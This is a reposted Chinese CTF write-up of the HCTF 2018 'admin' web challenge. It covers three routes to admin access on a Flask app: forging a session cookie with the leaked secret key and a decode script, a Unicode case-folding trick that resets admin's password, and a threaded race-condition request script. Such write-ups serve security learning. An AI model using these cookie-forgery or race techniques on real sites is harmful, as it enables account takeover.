打开题目有两个选项以及一个提示信息
判断我们是要以admin的身份登录
这样的话肯定是对login页面进行一番鼓捣
先弱口令爆破一波,因为是个弱口令(123),爆破也能爆破出来
然后这个题就结束了(太tm出乎意料了)…
弱口令不行的话就试试sql注入以及ssti注入
尝试抓包修改自己的角色(实战中真碰到过)
以上就是常规思路
当然这个题不该设个弱口令在那
看下其他的解法
; 解法一:session伪造
随便注册个账号登录发现新大陆
在change password页面源码发现源码
去github下载源码偷家
发现这是用flask(轻量级框架)写的
查看路由信息
加载了index.html
查看index.html
判断session[‘name’]是否为admin
这里用到一个用来处理session的脚本
https://github.com/noraj/flask-session-cookie-manager
简单说一下它的用法
decode -c “session”
随便注册一个号登录拿到一个session
decode之后得到
{“_fresh”:true,”_id”:{” b”:”N2IwYmM0MDJjYTc3Y2QyYjU0OTM2OGZmZWZmOTY3NmYzNWRkYjllNDU5Yzg3Nzg3NDkyNzgwYmMxYzBmZWY5OTUyOTljYjViZDViZmVmZDdkMTQzMWJlMjg3YjQ1ZThmMzc4NWY4NjlhODU2ZDdjNGZjYmM4NTI3NzFkNzNjNDU=”},”csrf_token”:{” b”:”MjViYTQ5NTRhZDdiYjk1ZTM2MjAyNGJlZWU4OTc0NTk0MDMzZThhNA==”},”image”:{” b”:”bmNrbw==”},”name”:”1″,”user_id”:”10″}
然后修改name的值为admin
{“_fresh”:true,”_id”:{” b”:”N2IwYmM0MDJjYTc3Y2QyYjU0OTM2OGZmZWZmOTY3NmYzNWRkYjllNDU5Yzg3Nzg3NDkyNzgwYmMxYzBmZWY5OTUyOTljYjViZDViZmVmZDdkMTQzMWJlMjg3YjQ1ZThmMzc4NWY4NjlhODU2ZDdjNGZjYmM4NTI3NzFkNzNjNDU=”},”csrf_token”:{” b”:”MjViYTQ5NTRhZDdiYjk1ZTM2MjAyNGJlZWU4OTc0NTk0MDMzZThhNA==”},”image”:{” b”:”bmNrbw==”},”name”:”admin”,”user_id”:”10″}
进行encode,encode需要加密使用的盐
可以在源码中找到
在加密时出现问题了,老是报错
然后换了一个decode的脚本
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
对比发现这个用的是单引号那个是双引号
同时这个把base64直接解码了
仍然使用flask_session_cookie_manager进行encode得到admin的session
用法:encode -s “盐” -t “明文”
修改cookie的值刷新
解法二:Unicode欺骗
源码审计
这里原理就是利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,
而A再次调用nodeprep.prepare函数会把A转换成a
1.注册用户ᴬᴰᴹᴵᴺ
经过nodeprep.prepare函数
ᴬᴰᴹᴵᴺ变成了ADMIN
2.登录ᴬᴰᴹᴵᴺ用户
经过nodeprep.prepare函数
ᴬᴰᴹᴵᴺ变成了ADMIN
所以这里显示的就是
3.修改密码
ADMIN再次经过nodeprep.prepare函数就变成了admin
所以这里修改的密码其实是admin的密码
4.登录admin拿到flag
; 解法三:条件竞争
源码审计change()函数和login()函数
不必要的代码都去掉了
def login():
if request.method == 'POST':
session['name'] = name
def change():
if request.method == 'POST':
name = strlower(session['name'])
理一下思路
第一步:
我们以admin的身份登录就会执行login()
即 session[‘name’] = ‘admin’
第二步:
修改密码就会执行change()
即name = strlower(session[‘name’])
即name = ‘admin’
那么修改的密码就是admin的密码了
当然以上只是我们希望的理想状态
为了实现以上执行顺序
一个线程一直进行admin的登录行为
也就是一直执行session[‘name’] = ‘admin’
另一个线程一直进行修改密码的行为
也就是一直执行name = strlower(session[‘name’])
当恰好先执行session[‘name’] = ‘admin’
然后再执行name = strlower(session[‘name’])
admin的密码就会被修改了
理想很丰满,现实很骨感
这个是登录的数据包
账号:admin
密码:1
这个是修改密码的数据包
用户:1
新密码:1
发现了没有,他们的session是不一样的!!!
所以说前面说要用到线程
然后跑了下面的代码
还是无法复现这种解
脚本来自 whitzard
import requests
import threading
url = "http://65xxxxxxxxxxxxxx75dfc7.node4.buuoj.cn:81/"
def login(s, username, password):
data = {'username': username, 'password':password}
return s.post(url + "login", data=data)
def logout(s):
return s.get(url + "logout")
def change(s, newpassword):
data = {'newpassword':newpassword }
return s.post(url + "change", data=data)
def func1(s):
login(s, '1', '1')
change(s, '1')
def func2(s):
logout(s)
res = login(s, 'admin', '1')
if '/index' in res.text:
print('finish')
def main():
for i in range(2000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()
Original: https://blog.csdn.net/u011250160/article/details/121923930
Author: u011250160
Title: [HCTF 2018]admin三种解法
原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/745758/
转载文章受原作者版权保护。转载请注明原作者出处!